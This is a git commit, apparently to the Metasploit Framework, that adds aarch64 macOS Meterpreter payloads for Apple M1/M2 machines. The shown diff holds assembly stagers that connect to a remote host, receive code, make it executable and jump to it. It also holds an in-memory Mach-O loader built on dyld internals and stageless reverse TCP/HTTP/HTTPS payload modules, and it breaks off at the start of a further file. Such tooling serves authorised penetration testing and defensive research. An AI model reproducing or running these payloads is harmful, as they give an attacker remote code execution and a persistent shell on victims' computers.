M1ssion Dyld Mettle: Aarch64 Payloads

This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
This commit is contained in:
usiegl00
2022-10-11 19:21:58 +09:00
parent 9ef9f98894
commit 5f8767f4cf
14 changed files with 834 additions and 67 deletions
Binary file not shown.
+109
View File
@@ -0,0 +1,109 @@
.equ SYS_RECVFROM, 0x200001d
.equ SYS_MPROTECT, 0x200004a
.equ SYS_MMAP, 0x20000c5
.equ SYS_EXIT, 0x2000001
.global _main
_main:
/* mmap(addr=0, length=stager_size, prot=2, flags=0x1002, fd=0, offset=0) */
mov x0, xzr
adr x1, stager_size
ldr x1, [x1]
mov x2, #2
mov x3, #0x1002
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
/* sockfd is in x13 */
mov x10, x0
/* recvfrom(sockfd='x13', address='x10', length=stager_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x10
adr x2, stager_size
ldr x2, [x2]
mov x3, #0x40
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_RECVFROM
svc 0
/* mprotect(addr='x10', length=stager_size, prot=0x5) */
mov x0, x10
adr x1, stager_size
ldr x1, [x1]
mov x2, #5
ldr x16, =SYS_MPROTECT
svc 0
/* mmap(addr=0, length=payload_size, prot=3, flags=0x1002, fd=0, offset=0) */
mov x0, xzr
adr x1, payload_size
ldr x1, [x1]
mov x2, #3
mov x3, #0x1002
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
mov x11, x0
/* recvfrom(sockfd='x13', address='x11', length=payload_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x11
adr x2, payload_size
ldr x2, [x2]
mov x3, #0x40
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_RECVFROM
svc 0
/* add entry_offset */
adr x0, entry_offset
ldr x0, [x0]
add x0, x0, x10
adr x10, payload_size
ldr x10, [x10]
mov x12, x11
mov x15, x0
/* make stack space */
/* mmap(addr=0, length=0x4000, prot=3, flags=0x1002, fd=0, offset=0) */
mov x0, xzr
mov x1, 0x4000
mov x2, 3
mov x3, 0x1002
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
//mov x1, sp
//bic sp, x1, #15
//sub sp, sp, 0x1000
add x0, x0, 0x2000
mov sp, x0
mov x0, x13
/* jump to main_osx */
blr x15
failed:
mov x0, 0
ldr x16, =SYS_EXIT
svc 0
.balign 16
stager_size:
.word 0x4242
.word 0x4343
payload_size:
.word 0x4444
.word 0x4545
entry_offset:
.word 0x4646
.word 0x4747
@@ -0,0 +1,118 @@
.equ SYS_RECVFROM, 0x200001d
.equ SYS_MPROTECT, 0x200004a
.equ SYS_CONNECT, 0x2000062
.equ SYS_SELECT, 0x200005d
.equ SYS_SOCKET, 0x2000061
.equ SYS_MMAP, 0x20000c5
.equ SYS_EXIT, 0x2000001
.equ AF_INET, 0x2
.equ SOCK_STREAM, 0x1
.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ IP, 0x0100007f
.equ PORT, 0x5C11
.global _main
_main:
/* mmap(addr=0, length=0x1000, prot=0x2, flags=0x1002, fd=-1, offset=0) */
mov x0, xzr
mov x1, #0x1000
mov x2, #2
mov x3, #0x1002
mvn x4, xzr
mov x5, xzr
ldr x16, =SYS_MMAP
svc 0
cmn x0, #0x1
beq failed
/* save retry_count */
mov x12, x0
mov x10, 0
adr x11, retry_count
ldr x11, [x11]
/* socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
socket:
mov x0, AF_INET
mov x1, SOCK_STREAM
mov x2, 0
ldr x16, =SYS_SOCKET
svc 0
//cbz w0, retry
mov x13, x0
/* connect(sockfd, {AF_INET,4444,127.0.0.1}, 16) */
adr x1, caddr
ldr x1, [x1]
str x1, [sp, #-8]!
mov x1, sp
mov x2, 16
ldr x16, =SYS_CONNECT
svc 0
//cbnz w0, retry
/* recvfrom(sockfd='x13', address='x11', length=0x1000, flags='MSG_WAITALL', from=0, fromlenaddr=0) */
mov x0, x13
mov x1, x12
mov x2, #328
mov x3, #0x40
mov x4, xzr
mov x5, xzr
ldr x16, =SYS_RECVFROM
svc 0
//cbnz w0, retry
/* mprotect(addr, 328, 0x5) */
mov x0, x12
mov x1, #328
mov x2, #5
ldr x16, =SYS_MPROTECT
svc 0
br x12
retry:
sub x11, x11, #1
cmp x11, 0
beq failed
/* select(0, 0, 0, 0, &{sleep_nanoseconds, sleep_seconds}) */
mov x0, 0
mov x1, 0
adr x2, sleep_nanoseconds
ldr x2, [x2]
adr x3, sleep_seconds
ldr x3, [x3]
stp x3, x2, [sp, #-16]!
mov x4, sp
mov x2, 0
mov x3, 0
ldr x16, =SYS_SELECT
svc 0
bal socket
failed:
mov x0, 0x1
ldr x16, =SYS_EXIT
svc 0
.balign 16
caddr:
.short AF_INET
.short PORT
.word IP
retry_count:
.word 0x4242
.word 0x4242
sleep_nanoseconds:
.word 0x4343
.word 0x4343
sleep_seconds:
.word 0x4444
.word 0x4444
+17 -9
View File
@@ -1,19 +1,27 @@
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64
GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
all: clean main_osx
all: clean x64_osx_stage aarch64_osx_stage
main_osx: main.c
$(GCC_OSX) -o $@ $^
x64_osx_stage: main.c
$(GCC_OSX_X64) -o $@ $^
install: main_osx
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
aarch64_osx_stage: main.c
$(GCC_OSX_AARCH64) -o $@ $^
shellcode: install
otool -tv main_osx
install: x64_osx_stage aarch64_osx_stage
cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage
cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage
x64_shellcode: install
otool -tv x64_osx_stage
aarch64_shellcode: install
otool -tv aarch64_osx_stage
clean:
rm -f *.o main_osx
rm -f *.o x64_osx_stage aarch64_osx_stage
+135 -58
View File
@@ -256,7 +256,6 @@ typedef bool (*HasThreadLocalVariables_ptr)(void * ma);
typedef void (*SetUpTLVs_ptr)(void * ma, void * apis);
typedef void (*AddWeakDefs_ptr)(void * apis, void * newLoaders);
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a);
uint64_t find_macho(uint64_t addr, unsigned int increment);
uint64_t find_dylib(uint64_t addr, unsigned int increment);
@@ -272,6 +271,24 @@ static void print(char * str);
#define printf(a,b) print(a);
#endif
#ifdef __aarch64__
/*
typedef uint64_t (*VDPrintf_ptr)(uint64_t fd, const char * fmt, ...);
void printf_sdyld_arm64(char * a, void * b, uint64_t sdyld) {
VDPrintf_ptr VDPrintf_func = find_symbol(sdyld, "__simple_vdprintf", sdyld);
//VDPrintf_func(1, a, b);
printf(a,b);
}*/
#define printf_sdyld(a,b) print(a);
#else
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a);
void printf_sdyld_x86_64(char * a, void * b, uint64_t sdyld) {
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
SimpleDPrintf_func(1, a, b);
}
#define printf_sdyld(a,b) printf_sdyld_x86_64(a, b, sdyld);
#endif
#define DYLD_BASE_ADDR 0x00007fff5fc00000
#define MAX_OSXVM_ADDR 0x00007ffffffff000
@@ -283,10 +300,17 @@ int main(int argc, char** argv)
#endif
uint64_t buffer = 0;
uint64_t buffer_size = 0;
#ifdef __aarch64__
__asm__(
"mov %0, x12\n"
"mov %1, x10\n"
: "=r"(buffer), "=r"(buffer_size));
#else
__asm__(
"movq %%r10, %0;\n"
"movq %%r12, %1;\n"
: "=g"(buffer), "=g"(buffer_size));
#endif
#ifdef DEBUG
print("hello world!\n");
@@ -384,9 +408,10 @@ int main(int argc, char** argv)
}
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
//printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
//SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
#ifdef DEBUG
SimpleDPrintf_func(1, "SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
//printf_sdyld("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
printf_sdyld("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", sdyld));
#endif
// Loader::mapSegments
uintptr_t vmSpace = 0;
@@ -397,11 +422,11 @@ int main(int argc, char** argv)
#endif
*(uint32_t*)buffer = 0xfeedfacf;
#ifdef DEBUG
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
printf_sdyld("Buffer: %lld\n", buffer);
#endif
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
#ifdef DEBUG
SimpleDPrintf_func(1, "vmSpace: %lld\n", vmSpace);
printf_sdyld("vmSpace: %lld\n", vmSpace);
#endif
bool isTranslated = false; // Rosetta.
uint64_t extraAllocSize = 0;
@@ -415,24 +440,24 @@ int main(int argc, char** argv)
}
vmSpace += extraAllocSize;
#ifdef DEBUG
SimpleDPrintf_func(1, "Translated: %s\n", isTranslated ? "true" : "false");
printf_sdyld("Translated: %s\n", isTranslated ? "true" : "false");
#endif
uintptr_t loadAddress = 0;
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", sdyld);
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", sdyld);
void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1);
#ifdef DEBUG
SimpleDPrintf_func(1, "VMAllocate Ret: %lld\n", vmallocate_ret);
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
printf_sdyld("VMAllocate Ret: %lld\n", vmallocate_ret);
printf_sdyld("LoadAddress: %lld\n", loadAddress);
#endif
// Put regions together...
// JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos
WithRegions_ptr WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", sdyld);
WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) {
#ifdef DEBUG
SimpleDPrintf_func(1, "Region Ptrs: %lld\n", rptr);
SimpleDPrintf_func(1, "usedCount: %lld\n", rptr->_usedCount);
SimpleDPrintf_func(1, "allocCount: %lld\n", rptr->_allocCount);
printf_sdyld("Region Ptrs: %lld\n", rptr);
printf_sdyld("usedCount: %lld\n", rptr->_usedCount);
printf_sdyld("allocCount: %lld\n", rptr->_allocCount);
#endif
uint32_t segIndex = 0;
uint64_t sliceOffset = 0;
@@ -440,12 +465,12 @@ int main(int argc, char** argv)
for (int i = 0 ; i < rptr->_usedCount; i++) {
const struct Region region = rptr->_elements[i];
#ifdef DEBUG
SimpleDPrintf_func(1, "Region vmOffset: %lld\n", region.vmOffset);
SimpleDPrintf_func(1, "Region perms: %lld\n", region.perms);
SimpleDPrintf_func(1, "Region isZeroFill: %lld\n", region.isZeroFill);
SimpleDPrintf_func(1, "Region readOnlyData: %lld\n", region.readOnlyData);
SimpleDPrintf_func(1, "Region fileOffset: %lld\n", region.fileOffset);
SimpleDPrintf_func(1, "Region fileSize: %lld\n", region.fileSize);
printf_sdyld("Region vmOffset: %lld\n", region.vmOffset);
printf_sdyld("Region perms: %lld\n", region.perms);
printf_sdyld("Region isZeroFill: %lld\n", region.isZeroFill);
printf_sdyld("Region readOnlyData: %lld\n", region.readOnlyData);
printf_sdyld("Region fileOffset: %lld\n", region.fileOffset);
printf_sdyld("Region fileSize: %lld\n", region.fileSize);
print("----\n");
#endif
if ( region.isZeroFill || (region.fileSize == 0) )
@@ -455,31 +480,31 @@ int main(int argc, char** argv)
int perms = region.perms;
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", sdyld);
#ifdef DEBUG
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
SimpleDPrintf_func(1, "Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
SimpleDPrintf_func(1, "Size: %lld\n", (size_t)region.fileSize);
SimpleDPrintf_func(1, "Perms: %lld\n", region.perms);
SimpleDPrintf_func(1, "Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
SimpleDPrintf_func(1, "FD: %lld\n", (int)-1);
SimpleDPrintf_func(1, "Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
printf_sdyld("Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
printf_sdyld("Size: %lld\n", (size_t)region.fileSize);
printf_sdyld("Perms: %lld\n", region.perms);
printf_sdyld("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
printf_sdyld("FD: %lld\n", (int)-1);
printf_sdyld("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
#endif
// MMap will init this with zeros.
void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
lastOffset = loadAddress + region.vmOffset + region.fileSize;
#ifdef DEBUG
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
SimpleDPrintf_func(1, "BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
printf_sdyld("Buffer: %lld\n", buffer);
printf_sdyld("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
#endif
memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize);
#ifdef DEBUG
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
#endif
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", sdyld);
Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms);
#ifdef DEBUG
SimpleDPrintf_func(1, "SegAddress: %lld\n", segAddress);
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
printf_sdyld("SegAddress: %lld\n", segAddress);
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
#endif
++segIndex;
}
@@ -502,52 +527,52 @@ int main(int argc, char** argv)
struct Loaded * loaded = (struct Loaded*)(apis+32);
uintptr_t startLoaderCount = loaded->size;
#ifdef DEBUG
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
SimpleDPrintf_func(1, "Loaded first: %lld\n", (loaded->elements));
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
printf_sdyld("Loaded Size: %lld\n", loaded->size);
printf_sdyld("Loaded first: %lld\n", (loaded->elements));
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
#endif
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
fileid->iNode = 0;
fileid->modTime = 0;
fileid->isValid = false;
#ifdef DEBUG
SimpleDPrintf_func(1, "Apis: %lld\n", apis);
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
SimpleDPrintf_func(1, "JITLMP: %lld\n", JustInTimeLoaderMake_func);
printf_sdyld("Apis: %lld\n", apis);
printf_sdyld("LoadAddress: %lld\n", loadAddress);
printf_sdyld("JITLMP: %lld\n", JustInTimeLoaderMake_func);
#endif
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0);
#ifdef DEBUG
SimpleDPrintf_func(1, "TopLoader: %lld\n", topLoader);
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
printf_sdyld("TopLoader: %lld\n", topLoader);
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf_sdyld("Loaded Size: %lld\n", loaded->size);
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
#endif
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
SimpleDPrintf_func(1, "LoadAddress: %lld\n", pl->mappedAddress);
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
SimpleDPrintf_func(1, "hidden: %lld\n", pl->hidden);
SimpleDPrintf_func(1, "Magic: %lld\n", pl->magic);
SimpleDPrintf_func(1, "IsPrebuilt: %lld\n", pl->isPrebuilt);
printf_sdyld("LoadAddress: %lld\n", pl->mappedAddress);
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf_sdyld("hidden: %lld\n", pl->hidden);
printf_sdyld("Magic: %lld\n", pl->magic);
printf_sdyld("IsPrebuilt: %lld\n", pl->isPrebuilt);
#endif
pl->lateLeaveMapped = 1;
pl = (struct PartialLoader *)topLoader;
#ifdef DEBUG
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
#endif
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
loadChainMain->previous = 0;
loadChainMain->image = *(void **)(apis+24);
#ifdef DEBUG
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", *(void **)(apis+24));
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", loadChainMain->image);
printf_sdyld("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf_sdyld("mainExecutableLoader: %lld\n", loadChainMain->image);
#endif
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
loadChainCaller->previous = &loadChainMain;
loadChainCaller->image = &(loaded->elements[0]);
#ifdef DEBUG
SimpleDPrintf_func(1, "LoadedElements: %lld\n", &(loaded->elements[0]));
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf_sdyld("LoadedElements: %lld\n", &(loaded->elements[0]));
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
#endif
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
loadChain->previous = &loadChainCaller;
@@ -569,12 +594,12 @@ int main(int argc, char** argv)
#endif
};
#ifdef DEBUG
SimpleDPrintf_func(1, "buffer: %lld\n", diag->_buffer);
SimpleDPrintf_func(1, "startLoaderCount: %lld\n", startLoaderCount);
printf_sdyld("buffer: %lld\n", diag->_buffer);
printf_sdyld("startLoaderCount: %lld\n", startLoaderCount);
#endif
uint64_t newLoadersCount = loaded->size - startLoaderCount;
#ifdef DEBUG
SimpleDPrintf_func(1, "newLoadersCount: %lld\n", newLoadersCount);
printf_sdyld("newLoadersCount: %lld\n", newLoadersCount);
#endif
void * * newLoaders = &loaded->elements[startLoaderCount];
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
@@ -596,11 +621,11 @@ int main(int argc, char** argv)
#endif
void * ldr = newLoaders[i];
#ifdef DEBUG
SimpleDPrintf_func(1, "Ldr: %lld\n", ldr);
printf_sdyld("Ldr: %lld\n", ldr);
#endif
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
#ifdef DEBUG
SimpleDPrintf_func(1, "Diag: %lld\n", diag->_buffer);
printf_sdyld("Diag: %lld\n", diag->_buffer);
#endif
}
// TODO: Figure out if we need addPermanentRanges.
@@ -642,18 +667,18 @@ int main(int argc, char** argv)
uintptr_t flags = 0;
void* handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
#ifdef DEBUG
SimpleDPrintf_func(1, "Handle: %lld\n", handle);
printf_sdyld("Handle: %lld\n", handle);
#endif
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", sdyld);
VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize);
#ifdef DEBUG
SimpleDPrintf_func(1, "VMDeallocated: %lld\n", structspace);
printf_sdyld("VMDeallocated: %lld\n", structspace);
#endif
NSModule nm = handle;
NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset);
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
#ifdef DEBUG
SimpleDPrintf_func(1, "sym_main: %lld\n", sym_main);
printf_sdyld("sym_main: %lld\n", sym_main);
#endif
NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset);
addr_main = NSAddressOfSymbol_func(sym_main);
@@ -773,6 +798,17 @@ uint64_t syscall_chmod(uint64_t path, long mode)
{
uint64_t chmod_no = 0x200000f;
uint64_t ret = 0;
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"mov x1, %3;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(chmod_no), "r"(path), "r"(mode)
:);
#else
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
@@ -782,6 +818,7 @@ uint64_t syscall_chmod(uint64_t path, long mode)
: "=g"(ret)
: "g"(chmod_no), "S"(path), "g"(mode)
:);
#endif
return ret;
}
@@ -843,6 +880,21 @@ int detect_sierra()
uint64_t valsizeptr = (uint64_t)&size;
uint64_t ret = 0;
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"mov x1, %3;\n"
"mov x2, %4;\n"
"mov x3, %5;\n"
"eor x4, x4, x4;\n"
"eor x5, x5, x5;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(sc_sysctl), "r"(nameptr), "r"(namelen), "r"(valptr), "r"(valsizeptr)
: );
#else
__asm__(
"mov %1, %%rax;\n"
"mov %2, %%rdi;\n"
@@ -856,6 +908,7 @@ int detect_sierra()
: "=g"(ret)
: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
: );
#endif
// osrelease is 16.x.x on Sierra
if (ret == 0 && size > 2) {
@@ -874,6 +927,16 @@ uint64_t syscall_shared_region_check_np()
long shared_region_check_np = 0x2000126; // #294
uint64_t address = 0;
unsigned long ret = 0;
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(shared_region_check_np), "r"(&address)
: "x16", "x0" );
#else
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
@@ -882,6 +945,7 @@ uint64_t syscall_shared_region_check_np()
: "=g"(ret)
: "g"(shared_region_check_np), "g"(&address)
: "rax", "rdi" );
#endif
return address;
}
@@ -916,6 +980,18 @@ void print(char * str)
unsigned long long addr = (unsigned long long) str;
unsigned long ret = 0;
/* ret = write(stdout, str, len); */
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"mov x1, %3;\n"
"mov x2, %4;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(write), "r"(stdout), "r"(addr), "r"(len)
: "x0", "x1", "x2" );
#else
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
@@ -926,5 +1002,6 @@ void print(char * str)
: "=g"(ret)
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
: "rax", "rdi", "rdx" );
#endif
}
#endif
@@ -0,0 +1,28 @@
# -*- coding: binary -*-
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_aarch64_OSX < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'osx'
self.base_arch = ARCH_AARCH64
end
end
end
end
+21
View File
@@ -166,6 +166,9 @@ require 'digest/sha1'
if plat.index(Msf::Module::Platform::Linux)
return to_linux_aarch64_elf(framework, code)
end
if plat.index(Msf::Module::Platform::OSX)
return to_osx_aarch64_macho(framework, code)
end
# XXX: Add remaining AARCH64 systems here
end
@@ -867,6 +870,24 @@ require 'digest/sha1'
mo
end
# self.to_osx_aarch64_macho
#
# @param framework [Msf::Framework] The framework of you want to use
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String]
def self.to_osx_aarch64_macho(framework, code, opts = {})
# Allow the user to specify their own template
set_template_default(opts, "template_aarch64_darwin.bin")
mo = self.get_file_contents(opts[:template])
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
mo[bo, code.length] = code
mo
end
# self.to_osx_ppc_macho
#
# @param framework [Msf::Framework] The framework of you want to use
+2
View File
@@ -170,6 +170,7 @@ class MsfAutoload
'pe_inject' => 'PEInject',
'payload_db_conf' => 'PayloadDBConf',
'reverse_tcp_x86' => 'ReverseTcp_x86',
'reverse_tcp_aarch64' => 'ReverseTcp_Aarch64',
'ruby_dl' => 'RubyDL',
'wmic' => 'WMIC',
'net_api' => 'NetAPI',
@@ -247,6 +248,7 @@ class MsfAutoload
'meterpreter_mipsbe_linux' => 'Meterpreter_mipsbe_Linux',
'meterpreter_aarch64_apple_ios' => 'Meterpreter_aarch64_Apple_iOS',
'meterpreter_x64_osx' => 'Meterpreter_x64_OSX',
'meterpreter_aarch64_osx' => 'Meterpreter_aarch64_OSX',
'meterpreter_ppc_linux' => 'Meterpreter_ppc_Linux',
'meterpreter_x64_win' => 'Meterpreter_x64_Win',
'meterpreter_php' => 'Meterpreter_Php_Php',
@@ -0,0 +1,44 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 827315
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse HTTP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr',
'usiegl00'
],
'Platform' => 'osx',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttp,
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
)
)
end
def generate
opts = {
scheme: 'http',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
end
end
@@ -0,0 +1,44 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 827315
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse HTTPS Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr',
'usiegl00'
],
'Platform' => 'osx',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
)
)
end
def generate
opts = {
scheme: 'https',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
end
end
@@ -0,0 +1,44 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
CachedSize = 827315
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr',
'usiegl00'
],
'Platform' => 'osx',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
)
)
end
def generate
opts = {
scheme: 'tcp',
stageless: true
}.merge(mettle_logging_config)
MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
end
end
@@ -0,0 +1,131 @@
##
